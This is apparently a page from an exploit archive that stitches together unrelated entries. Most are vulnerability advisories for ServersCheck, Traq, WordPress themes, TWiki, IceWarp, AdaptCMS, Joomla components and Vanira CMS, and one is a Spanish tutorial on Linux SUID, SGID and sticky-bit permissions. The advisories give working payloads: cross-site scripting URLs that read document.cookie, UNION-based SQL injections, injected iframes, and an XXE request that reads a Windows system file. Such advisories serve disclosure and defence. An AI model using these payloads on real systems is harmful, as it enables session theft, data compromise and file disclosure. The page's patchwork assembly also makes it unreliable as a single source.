Driver};Dbq=myDBName;Uid=myUsername;Pwd=myPassword">Oracle ODBC Driver</option> <option value="Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;Uid=myUsername;Pwd=myPassword">Microsoft Oracle ODBC Driver</option> <option value="Driver={INFORMIX 3.30 32 BIT};Host=hostname;Server=myserver;Service=service-name;Protocol=olsoctcp;Database=mydb;UID=username;PWD=myPwd ">Informix 3.30 ODBC Driver</option> <option value="Driver={Pervasive ODBC Client Interface};ServerName=srvname;dbq=">Pervasive ODBC Driver</option> <option value="Driver={SQL Server}; Server=(local); Database=myDBName; UID=sa; PWD=;">MS SQL ODBC Driver</option> <option value="Driver={SQL Server Native Client 10.0}; Server=enter_IP_here; Database=enter_db_name_here; UID=enter_account_name_here; PWD=enter_password_here;">MS SQL 2008</option> <option value="Driver={Microsoft Access Driver (*.mdb)}; DBQ=C:myDBName.mdb">MS Access ODBC Driver</option> <option value="Driver={Microsoft Excel Driver (*.xls)};DBQ=physical path to .xls file; DriverID=278;">MS Excel ODBC Driver</option> <option value="Driver={Microsoft Text Driver (*.txt;*.csv)};DefaultDir=physical path to .txt file;">Text ODBC Driver</option> <option value="DRIVER={MySQL ODBC 3.51 Driver};SERVER=;DATABASE=;USER=;Password=">mySQL ODBC 3.51</option> </select><br><label>ODBC Verbindungsstring</label><input type=text name=newsetting0 size=50 value=">"<INSERT SCRIPTCODE HERE!>" ><br><br> <label>Speichere Werte in der Datenbank</label><input type=checkbox name=newsetting1 value="true" > Ja<br><br><br> <input type=hidden value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><X><X><X><X>" name=previoussetting><input type=hidden value="ODBC" name=check> <input type=submit value="EINSTELLUNGEN SPEICHERN" class=&#039;buttonok&#039;> <input type=button class=&#039;buttonnok&#039; value="DATABANKERFASSUNG BEENDEN" Onclick="this.form.stop.value=1; this.form.submit();"></form> </div><br><br></table><br><br> </td></tr></table> <label>ODBC Verbindungsstring</label><input type=text name=newsetting0 size=50 value=">"<iframe src=http://vulnerability-lab.com width=600 height=600>" > ><br><br><label>Speichere Werte in der Datenbank</label><input type=checkbox name=newsetting1 value="true" > Ja<br><br><br> <input type=hidden value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><X><X><X><X>" name=previoussetting><input type=hidden value="ODBC" name=check> <input type=submit value="EINSTELLUNGEN SPEICHERN" class=&#039;buttonok&#039;> <input type=button class=&#039;buttonnok&#039; value="DATABANKERFASSUNG BEENDEN" Onclick="this.form.stop.value=1; this.form.submit();"></form> </div> References: http://www.example.com/userslist.html? http://www.example.com/teamslist.html? http://www.example.com/windowsaccountsedit.html http://www.example.com/bulkedit.html? http://www.example.com/msnsettings.html http://www.example.com/enterprisesettings2.html http://www.example.com/settings.html?setting=LOGGING& 1.2 Code Review: Input Validation Vulnerabilities (Non Persistent) http://www.example.com/checks2def.html <form action=checks3other.html method=post name=checksdef onSubmit=&#039;return checkrequired(this)&#039;> <input type=hidden name=linenumber value=">"<NON-PERSITENT SCRIPTCODE HERE!>"><input type=hidden name=type value=""> <input type=hidden name=addcheck value=""><input type=hidden name=editsettings value="1"> <input type=hidden name=uidrule value="1171011122"> <input type=hidden name=id value="1171011122"> <input type=hidden name=required_label value="1171011122"> <input type=hidden name=devicegraphs value=""><tr> <td>Überwachungregel Bezeichnung</td><td><input type=text size=35 name=namevisible value="WINDOWSHEALTH" style=&#039;width:250px;&#039;></td><td> </td></tr><tr><td>Geräte-Name</td><td> http://www.example.com/check2alerts.html <form method=post action=checks2alerts.html name=alerts target="main"><td> <td><input type=hidden value="" name=linenumber><input type=hidden value="" name=check> <input type=button value=&#039;FEHLER MELDUNGEN&#039; alt="/checks2alerts.html? linenumber=&check=&type=down&KeepThis=true&TB_iframe=true&height=400&width=850" title=&#039;Bearbeite Alarme für den FEHLER – Status&#039; class=&#039;thickbox buttonalertsdown&#039;></td></form> <form method=post action="" name=alerts target="main" ><td> </td><td><input class=&#039;buttonnok&#039; type=submit value=" REGEL LöSCHEN" onclick="return deleteit(&#039;>"<NON-PERSITENT SCRIPTCODE HERE!&#039;,&#039;&#039;);" onmouseover="return overlib(&#039;Durch klicken auf dieses Icon können Sie die Überwachungsregel löschen. Diese Operation kann nicht rückgängig gemacht werden.&#039;, LEFT);" onmouseout="return nd();"></td></form> </tr></table></div><br><br> http://www.example.com/viewalerts.html <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> Regel Historie >"<NON-PERSITENT SCRIPTCODE HERE!> (<a href="/viewfile.html?file=\checkslogs\1171011122.log">1171011122</a>) </strong></font><hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter: progid:DXImageTransform.Microsoft.Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"> <br> http://www.example.com/downtime.html <body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0> <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> Downtime Bericht >"<NON-PERSITENT SCRIPTCODE HERE!> (1171011122) </strong></font> <hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft. Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"> <br><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div> Non Persistent References: http://www.example.com/checks2def.html?id= http://www.example.com/checks2def.html?id=1171011122&linenumber=6&check= http://www.example.com/checks2def.html?id=1171011122&linenumber= http://www.example.com/downtime.html?label= http://www.example.com/downtime.html?label=1171011122&keyz=1171011122WINDOWSHEALTH&labelvisible= http://www.example.com/timeline/timeline.html?xml= http://www.example.com/devicegraphs.html?device= http://www.example.com/viewgraphs.html?label= http://www.example.com/viewalerts.html?label=1171011122&labelvisible= 1.3 Code Review: Cross Site Request Forgery (Force|Non Persistent) <body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0> <div style="padding-left:5px;padding-right:5px;padding-top:10px;padding-bottom:10px;width:90%"> <img src="/output/images/generalsettings.jpg" border="0" align="left"> <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> Definere Einstellungen zur Dienstanmeldung. </strong></font> <hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient (startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"> <br> ServersCheck läuft als ein Dienst auf diesem Computer. Standardmäßig laufen alle Dienste von Windows unter dem lokalen Systemkonto. Ein Dienst hat Zugang auf die Maschine, wo er gerade läuft, aber es ist ihm ein Remotezugriff andere Computer untersagt. Für Windows basierende Checks (Plattenspeicherplatz, Speicher, CPU...), muss der ServersCheck Monitoring-Dienst unter einem Windows Admin-Konto laufen.<br><br> Setze hier die Domäne oder den System-Admin Benutzernamen mit Passwort. Zum Auslassen dieser Option bitte leer lassen.<br><br> <form action=popup_service2.html method=post name=service setting><table cellpadding=5><tr><td> Administrator Benutzername</td><td align=right> <input type=text size=20 name=user></td></tr><tr><td> Administrator Passwort</td><td align=right> <input type=password size=20 name=pass></td></tr></table> <br><br><input type=submit class=&#039;buttonok&#039; value=">> AKTUALISIERUNG" > <input type=button class=&#039;buttonnok&#039; value="SKIP" Onclick="window.location=&#039;/popup1.html&#039;;"> </form></div></div><br><br> 1.4 Code Review: Local Directory Traversal & Information Disclosure http://www.example.com/viewlogfile2.html?file=scan.txt& <body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0> <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> ServersCheck Protokolldateibetrachter: scan.txt </strong></font> <hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"><br> <a href="/emptyfile.html?file=logging\scan.txt&">Leere Datei</a> <a href="/emptyfile.html?file=logging\scan.txt&delete=true&">Löschen Protokolldatei</a> <hr noshade width=100%><ul><font color=black> # Fri Mar 19 17:37:52 2010 Scanning ><iframe src=http://vulnerability-lab.com width=600 height=600>..: Ping Failed <br></font></ul></div><br><br> </BODY></HTML> or ... <HTML> <HEAD> <TITLE>ServersCheck 21 Day Evaluation Edition - version 8.0.8</TITLE> <META http-equiv=content-type content="text/html"> <LINK HREF="/output/css/serverscheck.css" rel="stylesheet" type="text/css"> <LINK HREF="/output/css/thickbox.css" rel="stylesheet" type="text/css" media="screen" /> <script type="text/javascript" src="/output/js/jquery.js"></script> <script type="text/javascript" src="/output/js/thickbox.js"></script> <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> </HEAD><!-- DE --> <body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0> <div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black style="font-size: 16px;"><strong> ServersCheck Protokolldateien</strong></font> <hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft. Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)"><br> Um die Protokolldatei anzusehen, klicken Sie auf den Hyperlink, um sie zu öffnen.<br><ul> <li><a href="/viewlogfile2.html?file=graphs-errors.log&">graphs-errors.log</a></li> <li><a href="/viewlogfile2.html?file=monitoring_manager_2010-3-19.log&">monitoring_manager_2010-3-19.log</a></li> <li><a href="/viewlogfile2.html?file=statuschange_2010-3-19.log&">statuschange_2010-3-19.log</a></li> <li><a href="/viewlogfile2.html?file=watcher.log&">watcher.log</a></li> </ul></div><br><br> </BODY></HTML>
HireHackking

Traq 2.2 - Multiple SQL Injections / Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49835/info Traq is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Traq 2.2 is vulnerable; prior versions may also be affected. 1) Multiple cross-site scripting vulnerabilities that affect the &#039;edit&#039; parameter of the following scripts: http://www.example.com/admincp/components.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/ticket_templates.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/custom_fields.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/groups.php?edit=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 2) Multiple cross-site scripting vulnerabilities that affect the &#039;errors&#039; parameter of the following scripts: http://www.example.com/admincp/components.php?edit&error&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/sc ript%3E http://www.example.com/admincp/groups.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/milestones.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/plugins.php?create&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/projects.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/repositories.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/admincp/users.php?edit&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of the vulnerabilities requires that "register_globals" is enabled. 3) A cross-site scripting vulnerability affects the &#039;goto&#039; parameter of the &#039;user/login&#039; script: http://www.example.com/user/login?goto=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 4) Multiple SQL-injection vulnerability affects the &#039;sort&#039;, &#039;order&#039;, &#039;component&#039;, &#039;milestone&#039;, &#039;priority&#039;, &#039;severity&#039;, &#039;status&#039;, &#039;type&#039;, &#039;version&#039; parameters of the &#039;tickets&#039; scripts: http://www.example.com/[PROJECT_ID]/tickets?sort=SQL_CODE_HERE http://www.example.com/[PROJECT_ID]/tickets?order=SQL_CODE_HERE http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&component=1%29/**/union/**/select/**/1,version%28%29,3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281 http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&milestone=1%29/**/union/**/select/**/1,version%28%29,3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281 http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&priority=1%29/**/union/**/select/**/1,version%28%29,3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281 http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&severity=1%29/**/union/**/select/**/1,version%28%29,3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281 http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&status=1%29/**/union/**/select/**/1,version%28%29,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281 http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&type=1%29/**/union/**/select/**/1,version%28%29,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281 http://www.example.com/[PROJECT_ID]/tickets?columns=ticket&version=1%29/**/union/**/select/**/1,version%28%29,3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/where/**/1/**/in/**/%281
HireHackking

WordPress Theme Atahualpa 3.6.7 - 's' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49865/info The Atahualpa theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Versions prior to Atahualpa 3.6.8 are vulnerable. http://www.example.com/?s=%26%23039;%2balert(123)%2b%26%23039;
HireHackking

WordPress Theme F8 Lite 4.2.1 - 's' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49867/info The F8 Lite theme for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Versions prior to F8 Lite theme 4.2.2 are vulnerable. http://www.example.com/?p=8&s=[XSS]
HireHackking

WordPress Theme EvoLve 1.2.5 - 's' Cross-Site Scripting

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49872/info The EvoLve theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Versions prior to EvoLve theme 1.2.6 is vulnerable. http://www.example.com?s=[xss]
HireHackking
source: https://www.securityfocus.com/bid/49746/info TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Versions prior to TWiki 5.1.0 are vulnerable. http://example.com/do/view/TWiki/ATasteOfTWiki?&#039;"--></style></script><script>alert(0x002B48)</script>
HireHackking
source: https://www.securityfocus.com/bid/49753/info IceWarp Web Mail is prone to multiple information-disclosure vulnerabilities. Attackers can exploit these issues to gain access to potentially sensitive information, and possibly cause denial-of-service conditions; other attacks may also be possible. Proof-of-Concept: The following POST request was sent to the host A.B.C.D where the IceWarp mail server was running: REQUEST ========= POST /-.._._.--.._1243848280/server/webmail.php HTTP/1.1 Host:A.B.C.D User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-gb,en;q=0.5i've Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D Content-Length: 249 Content-Type: application/xml; charset=UTF-8 Pragma: no-cache Cache-Control: no-cache <!DOCTYPE foo [<!ENTITY xxeb91c4 SYSTEM "file:///c:/windows/win.ini"> ]><iq type="set"><query xmlns="webmail:iq:auth"><username>test&xxeb91c4;</username><digest>828cd27c6fb73ee32674602e9c5521f005c614f5fb9266fd071dab323b5079e02d47a421c01df2efffcd2bdb221e15bf2baa4acefe38f264d92d152878ca4d33</digest><method>RSA</method></query></iq> RESPONSE: ========== HTTP/1.1 200 OK Server: IceWarp/9.4.2 Date: Wed, 20 Jul 2011 10:04:56 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/xml Vary: Accept-Encoding Content-Length: 1113 <?xml version="1.0" encoding="utf-8"?><iq type="error"><error uid="login_invalid">test; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 ....TRUNCATED
HireHackking

AdaptCMS 2.0.1 - Cross-Site Scripting / Information Disclosure

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49769/info AdaptCMS is prone to multiple cross-site scripting vulnerabilities and an information disclosure vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. AdaptCMS 2.0.1 is vulnerable; other versions may also be affected. http://www.example.com/AdaptCMS/admin.php?view=[XSS] http://www.example.com/AdaptCMS/admin.php?view=share&do=[XSS] http://www.example.com/AdaptCMS//index.php?'[XSS] http://www.example.com/AdaptCMS/admin.php?view=/&view=settings http://www.example.com/AdaptCMS/admin.php?view=/&view=users http://www.example.com/AdaptCMS/admin.php?view=/&view=groups http://www.example.com/AdaptCMS/admin.php?view=/&view=levels http://www.example.com/AdaptCMS/admin.php?view=/&view=stats
HireHackking

Joomla! Component Biitatemplateshop - 'groups' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49786/info The 'com_biitatemplateshop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_biitatemplateshop&groups=[SQLI]
HireHackking

Permisos SGID, SUID y Sticky Bit – Linux

HACKER · %s · %s

Todo el mundo conoce los clásicos permisos de Linux, read (r), write (w) y execute (x). Sin embargo, existen otros permisos especiales que son de los que vamos a estar hablando hoy. También vamos a estar viendo detalles importantes a conocer de los permisos en general y de como los posibles comportamientos del User ID o Group ID pueden afectarnos.
Índice:
Mini-fundamentos de Permisos en Linux Permiso SGID Permiso SUID Sticky Bit Comportamientos de UID y GID Referencias Mini-fundamentos de Permisos en Linux
Aunque parezcan que los permisos son muy sencillos, sí que es cierto que tienen detallitos que hay que conocer para su completo entendimiento. Lo primero de todo es su estructura:
Esto es lo más básico y seguramente ya lo conozcamos todos (si no, no pasa nada, acabas de aprenderlo).
Sabiendo esto, hablemos sobre la precedencia en los permisos. Por ejemplo, si yo siendo el usuario sikumy, creo un archivo texto.txt. Lo puedo leer sin problemas, y hacer lo que quiera con él:
Como vemos, el archivo se crea con valor en propietario y grupo, sikumy. Todo guay hasta aquí, ahora bien, ¿qué ocurre si asigno permisos 070?, es decir, que nadie tenga ningún permiso, excepto las personas que pertenezcan al grupo sikumy, que lo tendrán todo. ¿Podré leer el archivo, siendo yo mismo sikumy, y aunque suene redundante, perteneciente al grupo sikumy?.
Pues la respuesta es que no, a pesar de yo estar en el grupo, no se me aplican los permisos asignados al mismo. Sin embargo, si soy otro usuario, por ejemplo, el usuario Coldd, y pertenezco al grupo sikumy, si podré leerlo:
Esto ocurre por la precedencia de los permisos. La mejor forma de entenderlo es la siguiente:
Leyendo los permisos del archivo de izquierda a derecha, nos vamos preguntando lo siguiente:¿Soy el propietario del archivo? Si lo soy, se me aplican los permisos del propietario. Si no:¿Soy miembro del grupo del archivo? Si lo soy, se me aplican los permisos del grupo. Si no:Los permisos de otros serían los que se me aplicasen Por eso mismo, en el primer caso, a pesar de que el usuario sikumy sea del grupo con mismo nombre, no podrá leer el archivo, porque al ser el propietario, se le aplican los permisos del propietario. Lo contrario al usuario Coldd, como no es propietario, se le aplicarán los permisos del grupo porque es miembro del grupo, si no lo fuese, se le aplicarían los permisos de «Otros».

Permiso SGID
El permiso SGID está relacionado con los grupos, tiene dos funciones:
Si se establece en un archivo, permite que cualquier usuario ejecute el archivo como si fuese miembro del grupo al que pertenece el archivo. Si se establece en un directorio, a cualquier archivo creado en el directorio se le asignará como grupo perteneciente, el grupo del directorio. Para los directorios, la lógica del SGID y el motivo de su existencia es por si trabajamos en grupo, para que todos podamos acceder a los archivos de las demás personas. Si SGID no existiera, cada persona cada vez que crease un archivo, tendría que cambiarlo del grupo suyo al grupo común del proyecto. Asimismo, evitamos tener que asignarle permisos a «Otros».
Ahora bien, ¿cómo identificamos el permiso SGID?
Cuando se asigna el permiso SGID, podemos notarlo porque en los permisos, en la parte de grupo, en el permiso de ejecución se asignará una s. Ojo, aquí hay que hacer dos distinciones:
Si el archivo tiene permisos de ejecución, se le asignará una s minúscula. Si el archivo NO tiene permisos de ejecución, se le asignará una S mayúscula. Esto realmente para los directorios no tiene relevancia, solo para los archivos. En cualquier caso, esta característica de s mayúscula o minúscula dependiendo del permiso de ejecución se aplica siempre, incluido en el permiso SUID.
Todo esto es muy bonito y tal, pero, ¿Cómo activamos SGID?
Para activarlo podemos usar cualquiera de los siguientes dos comandos:
chmod g+s <archivo> chmod 2*** <archivo> Siendo el * los permisos normales. (Ejemplo: chmod 2755)
Permiso SUID
El permiso SUID permite que un archivo se ejecute como si del propietario se tratase, independientemente del usuario que lo ejecute, el archivo se ejecutará como el propietario. Ejemplo:
Al asignar permisos SUID, la salida del comando whoami, a pasado de ser sikumy a ser root. Esto porque como podemos ver, el propietario del binario de whoami, es root. Por lo tanto, está ocurriendo exactamente la definición que hemos dado arriba.
Eso si, una cosa a tener en cuenta y bastante importante, es que el permiso SUID no funciona en scripts, solo lo hace en binarios compilados. Esto se hace por razones de seguridad. En cualquier caso si quisieseis habilitar la ejecución de un script como otro usuario, siempre se puede tirar de sudo.
Ya lo vemos arriba, pero la forma de identificar el permiso SUID es mediante una s en el permiso de ejecución de los permisos del propietario. Aquí se aplica lo mismo que hemos mencionado en SGID, si el propietario no tiene permisos de ejecución, pero si permiso SUID, se verá como una S mayúscula, de lo contrario, minúscula, que es como debería de estar.
¿Y qué ocurre con el permiso SUID en los directorios?
El SUID no aplica a los directorios debido a que no hay una razón convincente de por qué debería. No puede funcionar de la misma manera que SGID. Linux no permite que un usuario entregue un archivo a otro usuario, el único capaz de hacer esto es root. Es decir, si yo soy el usuario sikumy, aunque yo sea el propietario de un archivo, no seré capaz de usar chown para entregar el archivo al usuario JuanSec, esta acción solo la puede hacer root.
¿Cómo activamos SUID?
Podemos hacerlo con alguno de los dos siguientes comandos:
chmod u+s <archivo> chmod 4*** <archivo> Siendo el * los permisos normales (Ejemplo: chmod 4755).
Sticky Bit
El permiso Sticky Bit se puede aplicar tanto a archivos como directorios. Aunque lo más normal es aplicarlos a directorios. Las funciones de este permiso son las siguientes:
A nivel de directorio, restringe la eliminación y modificación de los archivos del directorio a todos los usuarios aunque tengan permisos de escritura, excepto al propietario del archivo y root. Ejemplo: A pesar de que el usuario Coldd tiene permisos de escritura, es incapaz de borrar el archivo porque no es ni el propietario ni root.
Si este permiso se aplica a un archivo ejecutable. La primera vez que se ejecute, una copia del texto del programa se almacena en el área de swap (área de intercambio), para que la próxima vez que se ejecute el programa en la memoria, lo haga más rapido. Por texto del programa se entiende las instrucciones en código máquina del mismo. (No es muy común usar este permiso en archivos) ¿Cómo lo identificamos?
Si asignamos el Sticky Bit ya sea a un archivo o un directorio, a la hora de ver el permiso con ls -l, se verá tal que así:
rwxrwxrwt
Nótese la «t» al final.
¿Cómo activamos STICKY BIT?
Pues podemos usar cualquiera de los dos siguientes comandos:
chmod +t <archivo> chmod 1*** <archivo> Siendo el * los permisos normales. (Ejemplo: chmod 1755).

Comportamientos de UID y GID
Por último, no tiene sentido este post y hablar de permisos si no hablamos sobre los ID de Usuarios y Grupos. Para empezar, hay que saber que todos los usuarios del sistema, tienen un identificador (UID), podemos comprobarlo en el archivo /etc/passwd:
Así mismo, los grupos también tienen identificadores, podemos comprobarlo en el archivo /etc/group:
Sabiendo esto, podemos llegar a distinguir a nivel práctico, 3 comportamientos del UID:
ID de Usuario Real (RUID) –> Identifica al propietario del proceso actual. ID de Usuario Efectivo (EUID) –> Se usa para gestionar los accesos a un recurso. También es el que se tiene en cuenta para determinar el propietario de un archivo cuando se crea. Básicamente, determina que podemos hacer, a que podemos acceder, etc. Se podría decir, que a nivel práctico, «somos el usuario que indica el EUID». ID de Usuario Guardado (SUID / Saved-User-ID) –> Se utiliza en archivos. Y permite que el proceso cambie su EUID. Cuando el proceso cambia su EUID, el EUID antes de cambiárselo, se almacena en el SUID para que cuando acabe el proceso, pueda volver a su EUID original. Todos los procesos tienen dos UIDs y dos GIDs (real y efectivo). Normalmente, cuando ejecutemos un programa, el UID y GID real serán el mismo que el UID y GID efectivo. Sin embargo, si ese programa tiene el SUID activado, el UID efectivo cambiarán. Asimismo, si tiene el permiso SGID activo, el GID efectivo cambiará.
Me explico, si soy el usuario sikumy y hay un binario con SUID cuyo propietario es root. Yo al ejecutarlo, mi UID real seguirá siendo el de sikumy, sin embargo, el UID efectivo será el de root.
El UID efectivo, como se ha dicho es el que determina los accesos y privilegios de un proceso. Por ejemplo, si solo quien tenga UID 22 puede acceder a un archivo, si tu RUID es 22 pero tu EUID (UID) es 35, no podrás leerlo.
Podemos ver de forma más clara la distinción entre los UID con el siguiente programa en C:
Para que podáis copiarlo:
#include <stdio.h> #include <unistd.h> #include <pwd.h> int main(void){ struct passwd *r_pwd = getpwuid(getuid()); printf("El Usuario Real (RUID) es %s\n", r_pwd->pw_name); struct passwd *e_pwd = getpwuid(geteuid()); printf("El Usuario Efectivo es %s\n", e_pwd->pw_name); } Este programa nos muestra el RUID y EUID cuando lo ejecutamos. El propietario y grupo del respectivo binario es sikumy:
Ahora mismo el archivo no tiene ningún permiso especial como SUID, por lo que si lo ejecuta el usuario Coldd:
Nos saldrá que tanto el usuario real como efectivo es Coldd. Sin embargo, si ahora el usuario sikumy asigna permisos SUID, el usuario efectivo cuando lo ejecute Coldd, debería de ser sikumy:
Efectivamente cambia. El RUID es el usuario Coldd porque es quien inicia el proceso, sin embargo, a nivel práctico y de acceder a recursos y demás, será como si fuésemos el usuario sikumy.
Y esta es básicamente la idea de los distintos UID que podemos encontrar. Es importante conocer esto, ya que nos puede ayudar a entender más el propio sistema Linux o ayudarnos en alguna situación en la que nos podamos encontrar.
El ejemplo más evidente sobre entender mejor el sistema Linux tiene relación con el binario passwd. Este binario tiene por defecto asignado permiso SUID:
Tiene sentido, ya que el único que puede cambiar contraseñas en el sistema es root.
Ahora bien, con las definiciones que tenemos podemos pensar:
Oye, pero si el binario es permiso SUID y el propietario es root. Cuando yo lo ejecuto, ¿por qué en vez de cambiar mi contraseña, no estoy cambiando la de root? Pues es una razón bastante simple y que podemos entender gracias a los UID. Es cierto que al ejecutar el binario de passwd, nuestro EUID será el de root. Sin embargo, el binario, para determinar de que usuario cambiar la contraseña, se fija en el RUID, el cual sigo siendo yo, el usuario normal.
Por lo que en conclusión, somos capaces de cambiar la contraseña gracias al EUID, y no cambiamos la contraseña de root porque el binario se fija en el RUID para ver de cuál usuario cambiar la contraseña.

Referencias
SUID bit on directories SUID doesn’t work in Bash SUID, SGID Explained Why can’t an SGID program read a file from the same group if it’s used by another user? Why can’t I read a file when I have group permissions Precedence of user and group owner in file permissions Difference between Real User ID, Effective User ID and Saved User ID UNIX Concepts And Applications SUID bit on binary file still yielding «Permission denied» error Brief Overview of Real and Effective IDs in Linux C Advanced Programming in the UNIX Environment
HireHackking

Vanira CMS - 'vtpidshow' SQL Injection

HACKER · %s · %s

source: https://www.securityfocus.com/bid/49789/info Vanira CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/voteshow.php?vact=ok&vtpidshow=1 [SQL insertion attacks]
HireHackking

Joomla! < 1.7.0 - Multiple Cross-Site Scripting Vulnerabilities

HACKER · %s · %s

